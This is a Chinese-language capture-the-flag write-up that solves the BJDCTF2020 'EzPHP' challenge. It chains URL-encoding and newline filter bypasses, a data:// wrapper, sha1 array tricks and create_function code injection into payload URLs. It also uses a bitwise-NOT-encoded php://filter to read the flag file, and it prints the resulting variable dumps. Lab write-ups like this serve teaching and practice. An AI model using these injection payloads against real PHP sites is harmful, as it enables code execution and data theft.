[BJDCTF2020]EzPHP

BJDCTF2020EzPHP

这里什么也干不了 我们查看一手源码

这有一串字符串 看上去像base64 其实是base32 解码之后得到 1nD3x.php

我们访问这个文件之后得到php的代码 我们分析一下

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0); 
​
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
​
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
​
if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}
​
if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');
​
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 
​
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
​
​
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
​
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

第一部分

php 复制代码
if($_SERVER) { 
    if (  preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

这里通过正则表达式和$_SERVER'QUERY_STRING'判断get传参中是否含关键字 如果有的话 就执行die终止脚本并且输出You seem to want to do something bad?

因为$_SERVER'QUERY_STRING'不会对键值进行解码 但是url会进行url解码 所以我们采用url过滤

有两个get传参的变量 我们对shana进行部分url编码 ?shana=1 编码之后就为 ?%73hana=1

第二部分

php 复制代码
if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

这段代码 要求file里不含http或https 而且要让变量*GET\['debu'\]等于aqua_is_cute又要*GET'debu'不等于aqua_is_cute 所以我们还得绕过 这里因为/n换行符的编码结果为%0a所以在结尾加入%0a来绕过preg_match

payload 为?debu=aqua_is_cute 对关键字进行url编码

?%64ebu=%61qua_is_%63ute%0a

第三部分

php 复制代码
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

因为根据$_REQUEST的特性,当GET 和POST同时传参给相同变量时 post的值会默认将get的值覆盖掉 所以我们这里只需要保证 post传的参没有英文字母就行

第四部分

php 复制代码
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里检测变量$file是否为debu_debu_aqua

因为前面只过滤了http和https 所以这里我们可以使用php伪协议进行过绕过

?debu=aqua_is_cute &file=data://text/plain,debu_debu_aqua进行url编码

?%64%65%62%75=%61%71%75%61_is*%63%75%74%65%0A&file=data://text/plain,%64%65%62%75*%64%65%62%75_%61%71%75%61

第五部分

php 复制代码
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

因为这里哈希算法不能对数组进行加密 所以我们采用数组绕过的方法

?debu=aqua_is_cute &file=data://text/plain,debu_debu_aqua&shana\[\]=1&passwd\[\]=

?%64%65%62%75=%61%71%75%61_is*%63%75%74%65%0A&file=data://text/plain,%64%65%62%75*%64%65%62%75_%61%71%75%61&%73%68%61%6e%61\[\]=1&%70%61%73%73%77%64\[\]=

第六部分

php 复制代码
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 

最难的一部分 create_function() 如果对传入的参数b不做限制的话 就可以使用code=return a+b;}eval($_POST'cmd'); 对漏洞进行命令输入

这里code和arg都是可控的 这里采用get_defined_vars()将所有变量和值都表达出来

payload: flagarg=}var_dump(get_defined_vars());//&flagcode=create_function

?%64%65%62%75=%61%71%75%61_is*%63%75%74%65%0A&file=data://text/plain,%64%65%62%75*%64%65%62%75_%61%71%75%61&%73%68%61%6e%61\[\]=1&%70%61%73%73%77%64\[\]=2&%66%6c%61%67%61%72%67=}var_dump(get_defined_vars());//&%66%6c%61%67%63%6f%64%65=create_function

出现了这么一张图片和一串数据 并且他让我们找到flag

复制代码
flag灏卞湪杩欓噷锛屼綘鑳芥嬁鍒板畠鍚楋紵array(13) { ["_GET"]=> array(5) { ["debu"]=> string(13) "aqua_is_cute " ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["_POST"]=> array(2) { ["debu"]=> string(1) "1" ["file"]=> string(1) "1" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_SERVER"]=> array(73) { ["KUBERNETES_SERVICE_PORT"]=> string(3) "443" ["KUBERNETES_PORT"]=> string(20) "tcp://10.240.0.1:443" ["PHP_EXTRA_CONFIGURE_ARGS"]=> string(77) "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi" ["HOSTNAME"]=> string(3) "out" ["PHP_INI_DIR"]=> string(18) "/usr/local/etc/php" ["SHLVL"]=> string(1) "1" ["HOME"]=> string(14) "/home/www-data" ["PHP_LDFLAGS"]=> string(34) "-Wl,-O1 -Wl,--hash-style=both -pie" ["PHP_CFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_MD5"]=> string(0) "" ["PHP_VERSION"]=> string(6) "7.3.13" ["GPG_KEYS"]=> string(81) "CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" ["PHP_CPPFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_ASC_URL"]=> string(62) "https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror" ["PHP_URL"]=> string(58) "https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror" ["KUBERNETES_PORT_443_TCP_ADDR"]=> string(10) "10.240.0.1" ["PATH"]=> string(60) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ["KUBERNETES_PORT_443_TCP_PORT"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP_PROTO"]=> string(3) "tcp" ["KUBERNETES_SERVICE_PORT_HTTPS"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP"]=> string(20) "tcp://10.240.0.1:443" ["KUBERNETES_SERVICE_HOST"]=> string(10) "10.240.0.1" ["PHPIZE_DEPS"]=> string(78) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c" ["PWD"]=> string(13) "/var/www/html" ["PHP_SHA256"]=> string(64) "57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228" ["FLAG"]=> string(4) "null" ["USER"]=> string(8) "www-data" ["HTTP_ACCEPT_LANGUAGE"]=> string(47) "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6" ["HTTP_ACCEPT_ENCODING"]=> string(13) "gzip, deflate" ["HTTP_REFERER"]=> string(220) "http://8e941bd1-6377-48f9-9594-568ac4460dbc.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=" ["HTTP_ACCEPT"]=> string(135) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" ["HTTP_USER_AGENT"]=> string(125) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0" ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" ["HTTP_CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["HTTP_ORIGIN"]=> string(61) "http://8e941bd1-6377-48f9-9594-568ac4460dbc.node5.buuoj.cn:81" ["HTTP_CACHE_CONTROL"]=> string(9) "max-age=0" ["HTTP_REMOTE_HOST"]=> string(15) "223.104.204.160" ["HTTP_CONTENT_LENGTH"]=> string(2) "13" ["HTTP_X_ORIGINAL_FORWARDED_FOR"]=> string(15) "223.104.204.160" ["HTTP_X_SCHEME"]=> string(4) "http" ["HTTP_X_FORWARDED_SCHEME"]=> string(4) "http" ["HTTP_X_FORWARDED_PROTO"]=> string(4) "http" ["HTTP_X_FORWARDED_PORT"]=> string(2) "80" ["HTTP_X_FORWARDED_HOST"]=> string(51) "8e941bd1-6377-48f9-9594-568ac4460dbc.node5.buuoj.cn" ["HTTP_X_FORWARDED_FOR"]=> string(14) "192.168.122.15" ["HTTP_X_REAL_IP"]=> string(14) "192.168.122.15" ["HTTP_X_REQUEST_ID"]=> string(32) "1bc595967ab9f78f45234bc0d42fa2b6" ["HTTP_HOST"]=> string(51) "8e941bd1-6377-48f9-9594-568ac4460dbc.node5.buuoj.cn" ["SCRIPT_FILENAME"]=> string(23) "/var/www/html/1nD3x.php" ["REDIRECT_STATUS"]=> string(3) "200" ["SERVER_NAME"]=> string(9) "localhost" ["SERVER_PORT"]=> string(2) "80" ["SERVER_ADDR"]=> string(14) "10.244.244.131" ["REMOTE_PORT"]=> string(5) "44318" ["REMOTE_ADDR"]=> string(14) "10.244.244.154" ["SERVER_SOFTWARE"]=> string(12) "nginx/1.16.1" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["REQUEST_SCHEME"]=> string(4) "http" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["DOCUMENT_ROOT"]=> string(13) "/var/www/html" ["DOCUMENT_URI"]=> string(10) "/1nD3x.php" ["REQUEST_URI"]=> string(260) "/1nD3x.php?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["SCRIPT_NAME"]=> string(10) "/1nD3x.php" ["CONTENT_LENGTH"]=> string(2) "13" ["CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["REQUEST_METHOD"]=> string(4) "POST" ["QUERY_STRING"]=> string(249) "%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["FCGI_ROLE"]=> string(9) "RESPONDER" ["PHP_SELF"]=> string(10) "/1nD3x.php" ["REQUEST_TIME_FLOAT"]=> float(1739405195.7401) ["REQUEST_TIME"]=> int(1739405195) ["argv"]=> array(1) { [0]=> string(249) "%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" } ["argc"]=> int(1) } ["_REQUEST"]=> array(5) { ["debu"]=> string(1) "1" ["file"]=> string(1) "1" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" ["value"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" }

最后面 他告诉我们flag在rea1fl4g.php里 依旧恶心了我一手 这里include在黑名单里 所以我们采用require

这里当我们打开这个时 真的flag会被unset掉

要使用 ~反绕过

~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f%)

?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana\[\]=1&passwd\[\]=2&flagarg=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flagcode=create_function

?%64%65%62%75=%61%71%75%61_is*%63%75%74%65%0A&file=data://text/plain,%64%65%62%75*%64%65%62%75_%61%71%75%61&%73%68%61%6e%61\[\]=1&%70%61%73%73%77%64\[\]=2&%66%6c%61%67%61%72%67=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67%63%6f%64%65=create_function

复制代码
PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFnezZiZDFiMTA4LWRjZmItNDMwNy04MzdiLTZlNjI3OThmMGJjN30iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=

最终得到了flag的base64编码的结果

解码后就得到了最后的flag{6bd1b108-dcfb-4307-837b-6e62798f0bc7}

知识点

  1. $_SERVER['QUERY_STRING']是 PHP 的一个超全局变量 $_SERVER 中的元素,它包含了当前请求的查询字符串部分。查询字符串是 URL 中 ? 后面的部分,通常用于向服务器传递参数。$_SERVER'QUERY_STRING'不会对传入键值进行解码,所以可以通过url编码绕过

  2. preg_match 是 PHP 中的一个函数,用于执行正则表达式匹配。它检查一个字符串是否与给定的正则表达式模式匹配。如果找到匹配项,函数返回匹配的结果;否则返回失败。

  3. foreach是一种编程语句,通常用于遍历集合(如数组、列表等)中的每个元素。

  4. $_REQUEST 是 PHP 中的一个超全局变量,用于收集表单数据或其他通过 HTTP 请求传递的数据。它是一个数组,包含了通过 GET、POST 和 COOKIE 方法传递的所有数据。$_REQUEST 的主要特点是它会自动合并这些数据源,使得开发者可以通过一个统一的数组访问请求中的所有参数

  5. file_get_content是PHP语言中的一个函数,其主要功能是将整个文件读为一个字符串

  6. eval() 是 PHP 中的一个函数,用于将字符串作为 PHP 代码执行

  7. get_defined_vars() 是 PHP 中的一个内置函数,用于获取当前符号表中定义的所有变量及其值。它返回一个关联数组,其中键是变量名,值是变量的当前值。

相关推荐
jay神44 分钟前
基于 YOLOv8 的轴承缺陷检测(Web 版)
前端·人工智能·yolo
jay神1 小时前
基于 YOLOv8 的森林火灾检测系统(Web 版)
前端·yolo
code2cat1 小时前
HTML基础篇之第一张网页:从index.html到浏览器里的任务清单
前端·html
miss2 小时前
AI 改完不敢上线?OpenSpec 规约驱动开发实战
前端·代码规范·前端工程化
AiMan2 小时前
腾讯ima还是不可以导出左侧所有对话,只能单条导出,方法不对吗
前端
去伪存真2 小时前
并发量一高就装死?Agent 全链路“防猝死”手册
前端·agent
Moment2 小时前
AI 编程时代,聊聊我的 Mac mini 双屏桌面
前端·后端
AiMan3 小时前
先确认能不能一次把Microsofat Copilot所有内容打包一个文件导出
前端
总要学点什么3 小时前
第97篇:三维数据加载-城市建筑白模自定义着色器——让一条光带沿高度扫上去,快慢却由帧率说了算
前端·gis·webgl·cesium·着色器·空间分析·白模
木头左3 小时前
【架构设计】教育类 App 服务端化改造:AI 上移、题库分层与个人题库归属
android·架构设计·系统设计·后端开发·数据库设计